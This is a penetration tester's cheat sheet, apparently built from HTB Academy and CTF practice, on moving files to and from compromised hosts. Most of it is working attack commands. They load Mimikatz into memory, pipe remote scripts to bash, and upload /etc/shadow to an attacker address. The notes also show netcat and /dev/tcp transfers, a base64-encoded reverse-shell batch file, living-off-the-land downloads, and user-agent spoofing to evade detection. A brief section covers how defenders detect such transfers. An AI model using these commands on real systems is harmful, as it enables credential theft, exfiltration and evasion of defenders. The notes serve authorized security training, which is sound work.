# File transfers between target and attacking machine

> _These notes are from my practice at work, during CTF and from HTB Academy_ Excellent tip from HTB Academy: Unless specifically requested by a client, we do not recommend exfiltrating data such as Personally Identifiable Information (PII), financial data (i.e., credit card numbers), trade secrets, etc., from a client environment. Instead, if attempting to test Data Loss Prevention (DLP) controls/egress filtering protections, create a file with dummy data that mimics the data that the client is trying to protect.

## Verify file integrity

* `file shell`
* `md5sum shell` and compare the result in the attacking machine and target
* `Get-FileHash "C:\Windows\system32\drivers\etc\hosts" -Algorithm MD5 | select Hash` in powershell

## Method with no communications required

### Encode the file in base64

> Note: While this method is convenient, it's not always possible to use. Windows Command Line utility (cmd.exe) has a maximum string length of 8,191 characters. Also, a web shell may error if you attempt to send extremely large strings.

#### From Attack to target

* Get the md5sum of the file (see command above)
* Encode a file in bash `cat id_rsa |base64 -w 0;echo`
* Decode it in powershell `PS C:\htb> [IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("LS0tLS1CRU[STRIPPED]0tLQo="))`
* Decode it in bash (if the target is a linux machine) `echo -n 'LS0tLS1CRUdJTiBP[STREIPPED]FURSBLRVktLS0tLQo=' | base64 -d > id_rsa`
* Verify the integrity of the file with Get-FileHash on powershell (see command above)

#### From target to attack

* Get the md5sum of the file (see command above)
* Encode a file in Powershell `[Convert]::ToBase64String((Get-Content -path "C:\Windows\system32\drivers\etc\hosts" -Encoding byte))`
* `echo -n 'IyBDb3B5cml[STRIPPED]b3N0DQo=' | base64 -d > hosts` Decode Base64 String in Linux
* Verify the integrity of the file with Get-FileHash on powershell (see command above)

## PowerShell Web Downloads

| Method                                                                                                                   | Description                                                                                  |
| ------------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------- |
| [OpenRead](https://docs.microsoft.com/en-us/dotnet/api/system.net.webclient.openread?view=net-6.0)                       | Returns the data from a resource as a Stream.                                                |
| [OpenReadAsync](https://docs.microsoft.com/en-us/dotnet/api/system.net.webclient.openreadasync?view=net-6.0)             | Returns the data from a resource without blocking the calling thread.                        |
| [DownloadData](https://docs.microsoft.com/en-us/dotnet/api/system.net.webclient.downloaddata?view=net-6.0)               | Downloads data from a resource and returns a Byte array.                                     |
| [DownloadDataAsync](https://docs.microsoft.com/en-us/dotnet/api/system.net.webclient.downloaddataasync?view=net-6.0)     | Downloads data from a resource and returns a Byte array without blocking the calling thread. |
| [DownloadFile](https://docs.microsoft.com/en-us/dotnet/api/system.net.webclient.downloadfile?view=net-6.0)               | Downloads data from a resource to a local file.                                              |
| [DownloadFileAsync](https://docs.microsoft.com/en-us/dotnet/api/system.net.webclient.downloadfileasync?view=net-6.0)     | Downloads data from a resource to a local file without blocking the calling thread.          |
| [DownloadString](https://docs.microsoft.com/en-us/dotnet/api/system.net.webclient.downloadstring?view=net-6.0)           | Downloads a String from a resource and returns a String.                                     |
| [DownloadStringAsync](https://docs.microsoft.com/en-us/dotnet/api/system.net.webclient.downloadstringasync?view=net-6.0) | Downloads a String from a resource without blocking the calling thread.                      |

### PowerShell DownloadString - Fileless Method

* `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')`
* `(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1') | IEX`

### PowerShell Invoke-WebRequest

> Slower

* `Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps1` You can use the aliases iwr, curl, and wget instead of the Invoke-WebRequest full name.
* [Powershell Download cradle by HarmJ0y](https://gist.github.com/HarmJ0y/bb48307ffa663256e239)
* `Invoke-WebRequest https://<ip>/PowerView.ps1 -UseBasicParsing | IEX` Use `-UseBasicParsing` in case first launch config has not been completed in Internet Explorer.
* `IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')` Bypass error SSL/TLS error.

## PowerShell Web Uploads

> PowerShell doesn't have a built-in function for upload operations, but we can use Invoke-WebRequest or Invoke-RestMethod to build our upload function. We'll also need a web server that accepts uploads, which is not a default option in most common webserver utilities.

### Installing a Configured WebServer with Upload

#### On your attack machine

* `pip3 install uploadserver`
* `python3 -m uploadserver`

#### In your target

* Powershell [script](https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1) to upload a file to Python Upload Server

```ps
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hosts
```

* Powershell Base64 Web Upload

```ps
$b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
Invoke-WebRequest -Uri http://192.168.49.128:8000/ -Method POST -Body $b64
```

#### On your attack machine

* `nc -lvnp 8000` We catch the base64 data with Netcat
* `echo <base64> | base64 -d -w 0 > hosts` We use the base64 application with the decode option to convert the string to the file

## PowerShell Session File Transfer

* [Powershell remoting](https://learn.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-7.2)

> To create a PowerShell Remoting session on a remote computer, we will need administrative access, be a member of the Remote Management Users group, or have explicit permissions for PowerShell Remoting in the session configuration

### Example from HTB Academy

* `Test-NetConnection -ComputerName DATABASE01 -Port 5985` From DC01 - Confirm WinRM port TCP 5985 is Open on database01

> Because this session already has privileges over DATABASE01, we don't need to specify credentials. In the example below, a session is created to the remote computer named DATABASE01 and stores the results in the variable named $Session.

* `$Session = New-PSSession -ComputerName DATABASE01` Create a PowerShell Remoting Session to DATABASE01
* `Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\Administrator\Desktop\` Copy samplefile.txt from our Localhost to the DATABASE01 Session
* `Copy-Item -Path "C:\Users\Administrator\Desktop\DATABASE.txt" -Destination C:\ -FromSession $Session` Copy DATABASE.txt from DATABASE01 Session to our localhost

## HTTP/S

### From attack machine to Target

#### Attacking machine

* In kali we can use python `python3 -m http.server 80` or `python2.7 -m SimpleHTTPServer` if python2
* `php -S 0.0.0.0:8000` with php
* `ruby -run -ehttpd . -p8000` with ruby

#### Target machine

* On a win target machine you can access it directly with the browser: `http://IP-ATTACKING-MACHINE/FILE-TO-GET` or you can use certutil.exe `certutil.exe -urlcache http://IP-ATTACKING-MACHINE/FILE-TO-GET file-to-get`
* In a linux target machine you can use `wget http://IP-ATTACKING-MACHINE/FILE-TO-GET` or curl `curl -o FILE-TO-GET http://IP-ATTACKING-MACHINE/FILE-TO-GET`
* If you want to execute the file but not download it on a linux taget `curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash` or `wget -qO- https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py | python3`
* With /dev/tcp
  * `exec 3<>/dev/tcp/10.10.10.32/80` connect to the web server
  * `echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3` get the file with an http get request
  * print the resposne `cat <&3`

### Both ways

#### Updog

* Another great tool to transfer is [updog](https://github.com/sc0tfree/updog), it goes both ways if you can access a browser :D :D :D
* `pip3 install updog` easy as this to install

#### uploadserver

**From our attack machine**

* Get it [here](https://github.com/Densaugeo/uploadserver)
* `python3 -m pip install --user uploadserver` start the web server
* `openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'` create a self signed certificate
* `mkdir https && cd https` start the webserver `python3 -m uploadserver 443 --server-certificate /root/server.pem`

**From our target**

* `curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure` (insecure is for the self signed certificate)
* `wget 192.168.49.128:8000/filetotransfer.txt` diwload a file from the target to our attack

> Note: When we start a new web server using Python or PHP, it's important to consider that inbound traffic may be blocked. We are transferring a file from our target onto our attack host, but we are not uploading the file

### Enable PUT - Nginx

* `sudo mkdir -p /var/www/uploads/SecretUploadDirectory` Create a Directory to Handle Uploaded Files
* `sudo chown -R www-data:www-data /var/www/uploads/SecretUploadDirectory` Change the Owner to www-data
* Create the nginx config file `/etc/nginx/sites-available/upload.conf` and put this in it

```conf
server {
    listen 9001;
    
    location /SecretUploadDirectory/ {
        root    /var/www/uploads;
        dav_methods PUT;
    }
}
```

* `sudo ln -s /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/` Symlink our Site to the sites-enabled Directory
* `sudo systemctl restart nginx.service` Start Nginx
* In case of error we can check the logs to debug

```bash
tail -2 `/var/log/nginx/error.log`
```

* We might need to remove nginx default config if port 80 is busy `sudo rm /etc/nginx/sites-enabled/default`
* Upload file with cURL `curl -T /etc/passwd http://localhost:9001/SecretUploadDirectory/users.txt`

## FTP

### From attack machine to target

#### Attacking machine

* `sudo pip3 install pyftpdlib`
* `python3 -m pyftpdlib -p 21 --write` this is as anonymous
* `python3 -m pyftpdlib -p 21 --write -u username -P password` we can specify a username and password

#### Target machine

* `ftp IP-OF-ATTACKING-MACHINE` we can then use `get filename` to get the file
* `(New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'ftp-file.txt')` with powershell
* Create a Command File for the FTP Client and Download the Target File

```dos
echo open 192.168.49.128 > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo GET file.txt >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt
```

### From Target to attack

#### Attacking machine

* `python3 -m pyftpdlib -p 21 --write`

#### Target machine

* `ftp IP-OF-ATTACKING-MACHINE` we can then use `put filename` to send the file
* `curl --user anonymous:anonymous -o docker-toolbox.exe ftp://10.10.10.236/docker-toolbox.exe`
* `(New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')` with powershell
* Create a Command File for the FTP Client to Upload a File

```dos
echo open 192.168.49.128 > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt
```

## SMB

### Both ways

#### Attacking machine

* In kali we can use Impacket `python3 smbserver.py -smb2support sharename /path/folder` or `sudo impacket-smbserver share -smb2support /tmp/smbshare`
* We can specify `-username user -password pass` if we need set up an authentication

#### Target machine

* In a win victim machine we just need to copy the file to the attacking machine: `copy FiletoDownload \\IP-OF-ATTACKING-MACHINE\SHARENAME`
* If we want to get a file to our target from the attacking machine we just need to `copy \\192.168.220.133\share\nc.exe`
* Sometimes on windows we will be asked to use a service that requires authentication so we can set this up with `net use \\<network-location>\<some-share> password /USER:username` after this we will be able to use the previous copy command

### run SMB over HTTP with WebDav

> If there are no SMB (TCP/445) restrictions, you can use impacket-smbserver the same way we set it up for download operations.

To set up our WebDav server, we need to install two Python modules, wsgidav and cheroot

* `sudo pip install wsgidav cheroot`
* `sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous` Using the WebDav Python module
* Connect to the Webdav share
* `dir \\192.168.49.128\DavWWWRoot` Now we can attempt to connect to the share using the DavWWWRoot directory

> Note: DavWWWRoot is a special keyword recognized by the Windows Shell. No such folder exists on your WebDAV server. The DavWWWRoot keyword tells the Mini-Redirector driver, which handles WebDAV requests that you are connecting to the root of the WebDAV server. You can avoid using this keyword if you specify a folder that exists on your server when connecting to the server. For example: \192.168.49.128\sharefolder

* Upload file using smb

```dos
copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\DavWWWRoot\
copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\sharefolder\
```

## Metasploit

### From attack machine to Target

There is an upload and download feature

## SSH (creds needed)

### From attack machine to Target (local to remote)

* `sudo systemctl start ssh` start ssh service
* `netstat -lnpt` check ssh for listening port
* In your kali or any linux `scp FILE-TO-SEND user@ip:/path/to/folder`

> Note: You can create a temporary user account for file transfers and avoid using your primary credentials or keys on a remote computer.

### From target to attack (remote to local)

* In your kali or any linux cmd `scp user@ip:/path/to/folder FILE-TO-GET`

### Note

* If you get this error `protocol error: filename does not match request`
* You will need to add `-T` in your command. Here is an example:
* `scp -T user@server:C:\\Path\\To\\file.txt dest-folder`

## Netcat

### From Target to attack machine

#### Target machine

* `nc -lvp PORT-NUMBER > FILE-TO-SEND`
* `nc -l -p 8000 > SharpKatz.exe` works too
* `ncat -l -p 8000 --recv-only > SharpKatz.exe` with ncat

#### Attacking machine

* `nc VICTIM-IP PORT-NUMBER -w 3 < FILE` note: -w is for the time out in seconds
* `nc -q 0 192.168.49.128 8000 < SharpKatz.exe` -q 0 will tell nc to close the connection once it finishes
* `ncat --send-only 192.168.49.128 8000 < SharpKatz.exe`

### Attack to target

* `sudo nc -l -p 443 -q 0 < SharpKatz.exe` Attack Host - Sending File as Input to Netcat
* `sudo ncat -l -p 443 --send-only < SharpKatz.exe` same with ncat
* `nc 192.168.49.128 443 > SharpKatz.exe` Compromised Machine Connect to Netcat to Receive the File
* `ncat 192.168.49.128 443 --recv-only > SharpKatz.exe` same with netcat

> If we don't have Netcat or Ncat on our compromised machine, Bash supports read/write operations on a pseudo-device file [/dev/TCP/](https://tldp.org/LDP/abs/html/devref1.html). Writing to this particular file makes Bash open a TCP connection to host:port, and this feature may be used for file transfers.

### with /dev/tcp

* `sudo nc -l -p 443 -q 0 < SharpKatz.exe` nc - Sending File as Input to nc
* `sudo ncat -l -p 443 --send-only < SharpKatz.exe` same wit ncat
* `cat < /dev/tcp/192.168.49.128/443 > SharpKatz.exe` Compromised Machine Connecting to Netcat Using /dev/tcp

## RDP

* `rdesktop 10.10.10.132 -d HTB -u administrator -p 'Password0@' -r disk:linux='/home/user/rdesktop/files'` Mounting a Linux Folder Using rdesktop
* `xfreerdp /v:10.10.10.132 /d:HTB /u:administrator /p:'Password0@' /drive:linux,/home/plaintext/htb/academy/filetransfer` Mounting a Linux Folder Using xfreerdp
* To access the directory, we can connect to \tsclient, allowing us to transfer files to and from the RDP session
* Alternatively, from Windows, the native [mstsc.exe](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mstsc) remote desktop client can be used

## Transfering Files with code

### Python

* `python2.7 -c 'import urllib;urllib.urlretrieve ("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'` python 2
* `python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'` python 3

#### Upload operations

* [Requests module](https://pypi.org/project/requests/)
* [urllib](https://docs.python.org/3/library/urllib.request.html)
* [Upload server module](https://github.com/Densaugeo/uploadserver)
* `python3 -m uploadserver` Starting the Python uploadserver Module
* `python3 -c 'import requests;requests.post("http://192.168.49.128:8000/upload",files={"files":open("/etc/passwd","rb")})'` uploading a file

> Here are more details about the onliner to upload a file

```python
# To use the requests function, we need to import the module first.
import requests 
# Define the target URL where we will upload the file.
URL = "http://192.168.49.128:8000/upload"
# Define the file we want to read, open it and save it in a variable.
file = open("/etc/passwd","rb")
# Use a requests POST request to upload the file. 
r = requests.post(url,files={"files":file})
```

> Good advice by HTB Acsademy: We can do the same with any other programming language. A good practice is picking one and trying to build an upload program.

### PHP

* [File get contents module](https://www.php.net/manual/en/function.file-get-contents.php)
* [File put contents module](https://www.php.net/manual/en/function.file-put-contents.php)
* [fopen module](https://www.php.net/manual/en/function.fopen.php)
* `php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'` PHP Download with File\_get\_contents()
* `php -r 'const BUFFER = 1024; $fremote = fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'` PHP Download with Fopen()
* `php -r '$lines = @file("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); foreach ($lines as $line_num => $line) { echo $line; }' | bash` PHP Download a File and Pipe it to Bash

> Note: The URL can be used as a filename with the @file function if the fopen wrappers have been enabled.

### Ruby

* `ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh")))'` download a file

### Perl

* `perl -e 'use LWP::Simple; getstore("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh");'` Download a file

### Javascript

```js
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
```

* On a win cmd `cscript.exe /nologo wget.js https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView.ps1` Download a File Using JavaScript and cscript.exe

> Source: HTB Academy using this [post](https://superuser.com/questions/25538/how-to-download-files-from-command-line-in-windows-like-wget-or-curl/373068)

### VBScript

```vbscript
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send

with bStrm
    .type = 1
    .open
    .write xHttp.responseBody
    .savetofile WScript.Arguments.Item(1), 2
end with
```

* `cscript.exe /nologo wget.vbs https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView2.ps1` Download a File Using VBScript and cscript.exe

> Source HTB Academy using this [thread](https://stackoverflow.com/questions/2973136/download-a-file-with-vbs)

## Protected File Transfers

### On Windows

* Encrypt files with [Invoke-AESEncryption.ps1](https://www.powershellgallery.com/packages/DRTools/4.0.2.3/Content/Functions/Invoke-AESEncryption.ps1)

> We can use any file transfer methods to get this file onto a target host. After the script has been transferred, it only needs to be imported as a module.

* `Import-Module .\Invoke-AESEncryption.ps1`
* `Invoke-AESEncryption.ps1 -Mode Encrypt -Key "p4ssw0rd" -Path .\scan-results.txt` File Encryption example

### On Linux

* [OpenSSL](https://www.openssl.org/)
* `openssl enc -aes256 -iter 100000 -pbkdf2 -in /etc/passwd -out passwd.enc` to encrypt /etc/passwd.
* `openssl enc -d -aes256 -iter 100000 -pbkdf2 -in passwd.enc -out passwd` to decrypt

## Living off The Land

* [LOLBAS](https://lolbas-project.github.io/)
* [GTFOBins](https://gtfobins.github.io/)

### LOLBAS - Example with CertReq

* CertReq is an example but we could find other binaries as well for this purpose.
* [certreq](https://github.com/juliourena/plaintext/raw/master/hackthebox/certreq.exe)
* `certreq.exe -Post -config http://192.168.49.128/ c:\windows\win.ini` upload win.ini in our attack machine. This will send the file to our Netcat session, and we can copy-paste its contents.
* `sudo nc -lvnp 80` with the listener from our attack machine we should receive the file.

### GTFOBINS - Example with OpenSSL

* [GTFOBINS upload and download](https://gtfobins.github.io/#+file%20upload%20+file%20download)
* `openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem` Create Certificate in our attack machine
* `openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < /tmp/LinEnum.sh` Stand up the Server in our attack machine
* `openssl s_client -connect 10.10.10.32:80 -quiet > LinEnum.sh` Download File from the Compromised Machine

### Others Living off the Land tools

#### Bitsadmin

* [Bitsadmin Download Function](https://docs.microsoft.com/en-us/windows/win32/bits/background-intelligent-transfer-service-portal)
* `bitsadmin /transfer n http://10.10.10.32/nc.exe C:\Temp\nc.exe` File Download with Bitsadmin
* `Import-Module bitstransfer; Start-BitsTransfer -Source "http://10.10.10.32/nc.exe" -Destination "C:\Temp\nc.exe"` Download
* `Start-BitsTransfer "C:\Temp\bloodhound.zip" -Destination "http://10.10.10.132/uploads/bloodhound.zip" -TransferType Upload -ProxyUsage Override -ProxyList PROXY01:8080 -ProxyCredential INLANEFREIGHT\svc-sql` Upload

#### Certutil

* `certutil.exe -verifyctl -split -f http://10.10.10.32/nc.exe` Download a file

## Detection, Evasion and Bypass of protections

### Detection

User agents are not only used to identify web browsers, but anything acting as an HTTP client and connecting to a web server via HTTP can have a user agent string (i.e., cURL, a custom Python script, or common tools such as sqlmap, or Nmap).

Organizations can take some steps to identify potential user agent strings by first building a list of known legitimate user agent strings, user agents used by default operating system processes, common user agents used by update services such as Windows Update, and antivirus updates, etc. These can be fed into a SIEM tool used for threat hunting to filter out legitimate traffic and focus on anomalies that may indicate suspicious behavior. Any suspicious-looking user agent strings can then be further investigated to determine whether they were used to perform malicious actions.

* [User Agent String Explained](https://useragentstring.com/index.php)
* [List of User Agent Strings](https://useragentstring.com/pages/useragentstring.php)

#### Invoke-WebRequest

* Client

```powershell
Invoke-WebRequest http://10.10.10.32/nc.exe -OutFile "C:\Users\Public\nc.exe" 
Invoke-RestMethod http://10.10.10.32/nc.exe -OutFile "C:\Users\Public\nc.exe"
```

* Server

```powershell
GET /nc.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.14393.0
```

#### WinHttpRequest

* Client

```powershell
$h=new-object -com WinHttp.WinHttpRequest.5.1;
$h.open('GET','http://10.10.10.32/nc.exe',$false);
$h.send();
iex $h.ResponseText
```

* Server

```powershell
GET /nc.exe HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
```

#### Msxml2

* Client

```powershell
$h=New-Object -ComObject Msxml2.XMLHTTP;
$h.open('GET','http://10.10.10.32/nc.exe',$false);
$h.send();
iex $h.responseText
```

* Server

```powershell
GET /nc.exe HTTP/1.1
Accept: */*
Accept-Language: en-us
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E)
```

#### Certutil

* Client

```powershell
certutil -urlcache -split -f http://10.10.10.32/nc.exe 
PS C:\htb> certutil -verifyctl -split -f http://10.10.10.32/nc.exe
```

* Server

```powershell
GET /nc.exe HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Accept: */*
User-Agent: Microsoft-CryptoAPI/10.0
```

#### BITS

* Client

```powershell
Import-Module bitstransfer;
Start-BitsTransfer 'http://10.10.10.32/nc.exe' $env:temp\t;
$r=gc $env:temp\t;
rm $env:temp\t; 
iex $r
```

* Server

```powershell
HEAD /nc.exe HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Encoding: identity
User-Agent: Microsoft BITS/7.8
```

### Evasion

#### base64

(See the section above about it)

In some cases, we may not be able to transfer a file. For example, the remote host may have firewall protections that prevent us from downloading a file from our machine. In this type of situation, we can use a simple trick to base64 encode the file into base64 format, and then we can paste the base64 string on the remote server and decode it. For example, if we wanted to transfer a binary file called shell, we can base64 encode it as follows:

* `base64 shell -w 0`

Now, we can copy this base64 string, go to the remote host, and use base64 -d to decode it, and pipe the output into a file:

* `echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA... <SNIP> ..lIuy9iaW4vc2gAU0iJ51JXSInmDwU | base64 -d > shell`

In a windows target we can do this:

```cmd
echo QGVjaG8gb2ZmCkM6XHRlbXBcbmNhdC5leGUgMTAuMTAuMTQuMiA0NDMgLWUgY21kLmV4ZQo= > data.b64
certutil -decode data.b64 evil.bat
```

#### Changing UserAgent

* `[Microsoft.PowerShell.Commands.PSUserAgent].GetProperties() | Select-Object Name,@{label="User Agent";Expression={[Microsoft.PowerShell.Commands.PSUserAgent]::$($_.Name)}} | fl` list out user agent in Powershell
* `Invoke-WebRequest http://10.10.10.32/nc.exe -UserAgent [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome -OutFile "C:\Users\Public\nc.exe"` Request with Chrome User Agent from our target machine
* `nc -lvnp 80` with our nc listener we then get our file in our attack machine

#### LOLBAS / GTFOBins

Application whitelisting may prevent you from using PowerShell or Netcat, and command-line logging may alert defenders to your presence. In this case, an option may be to use a "LOLBIN" (living off the land binary), alternatively also known as "misplaced trust binaries." An example LOLBIN is the Intel Graphics Driver for Windows 10 (GfxDownloadWrapper.exe), installed on some systems and contains functionality to download configuration files periodically. This download functionality can be invoked as follows:

* Transferring File with GfxDownloadWrapper.exe `GfxDownloadWrapper.exe "http://10.10.10.132/mimikatz.exe" "C:\Temp\nc.exe"`
* [LOLBAS](https://lolbas-project.github.io/)
* [GTFOBins](https://gtfobins.github.io/)

## Resources

{% embed url="https://academy.hackthebox.com/" %}
File Transfers on HTB Academy
{% endembed %}

{% embed url="https://ironhackers.es/en/cheatsheet/transferir-archivos-post-explotacion-cheatsheet/" %}
Transfer files (Post explotation) – CheatSheet - PABLO PLAZA MARTÍNEZ
{% endembed %}
